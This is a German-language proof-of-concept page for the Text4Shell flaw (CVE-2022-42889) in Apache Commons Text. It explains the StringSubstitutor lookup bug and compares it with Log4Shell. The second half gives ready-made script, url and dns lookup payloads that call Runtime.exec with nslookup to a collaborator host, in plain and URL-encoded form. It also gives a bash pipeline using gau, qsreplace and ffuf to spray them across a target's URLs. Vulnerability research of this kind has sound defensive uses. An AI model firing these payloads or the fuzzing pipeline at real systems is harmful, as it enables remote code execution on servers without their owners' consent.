
Apache commons text - CVE-2022-42889 Text4Shell Proof-of-Concept-Exploit.
Apache Commons Text - CVE-2022-42889 Text4Shell Proof-of-Concept-Exploit.
CVE-2022-42889 betrifft Apache Commons Text Versionen 1.5 bis 1.9. Der Fehler wurde ab Version 1.10 behoben.
Die Schwachstelle wird mit Log4Shell verglichen, da es sich um eine Schwachstelle auf Bibliotheksebene handelt, die wahrscheinlich eine Vielzahl von Softwareanwendungen betrifft, die das entsprechende Objekt verwenden. Eine erste Analyse zeigt jedoch, dass dies ein schlechter Vergleich ist. Die Natur der Schwachstelle bedeutet, dass es im Gegensatz zu Log4Shell selten vorkommen wird, dass eine Anwendung die verwundbare Komponente von Commons Text verwendet, um unvertraute, potenziell bösartige Eingaben zu verarbeiten.
Die Schwachstelle existiert im StringSubstitutor-Interpolator-Objekt. Ein Interpolator wird durch die Methode StringSubstitutor.createInterpolator() erstellt und ermöglicht Zeichenketten-Lookups, wie in StringLookupFactory definiert. Dies kann genutzt werden, indem eine Zeichenkette „${prefix:name}“ übergeben wird, wobei der Präfix das genannte Lookup ist. Die Verwendung der Lookups „script“, „dns“ oder „url“ würde es ermöglichen, dass eine manipulierte Zeichenkette beliebige Skripte ausführt, wenn sie an das Interpolator-Objekt übergeben wird.
Während dieses spezifische Codefragment in Produktionsanwendungen unwahrscheinlich ist, besteht die Sorge darin, dass in einigen Anwendungen die Variable pocstring angreifergesteuert sein könnte. In diesem Sinne ähnelt die Schwachstelle Log4Shell. Allerdings wird der StringSubstitutor-Interpolator deutlich seltener verwendet als die verwundbare Zeichenkettenersetzung in Log4j, und die Natur eines solchen Interpolators bedeutet, dass es weniger wahrscheinlich ist, dass manipulierte Eingaben an das verwundbare Objekt gelangen, als dass man lediglich mit einer solchen manipulierten Zeichenkette interagiert, wie bei Log4Shell.
script:javascript
Parameterwert durch Payload ersetzen:
${script:javascript:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
https://your-target.com/exploit?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7d
url
${url:UTF-8:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
https://your-target.com/exploit?search=%24%7Burl%3AUTF-8%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7d
dns
${dns:address:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
https://your-target.com/exploit?search=%24%7Bdns%3Aaddress%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7d
${script:javascript:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
${url:UTF-8:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
${dns:address:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
for payload in $(cat payloads.txt|sed 's/ COLLABORATOR-HERE/SPACEid.burpcollaborator.com/g'); do echo TARGET.com | gau --blacklist ttf,woff,svg,png | qsreplace "$payload" | sed 's/SPACE/%20/g' | grep "java.lang.Runtime.getRuntime" >> payloads-final.txt;done && ffuf -w payloads-final.txt -u FUZZ
qsreplace Danke @tomnomnom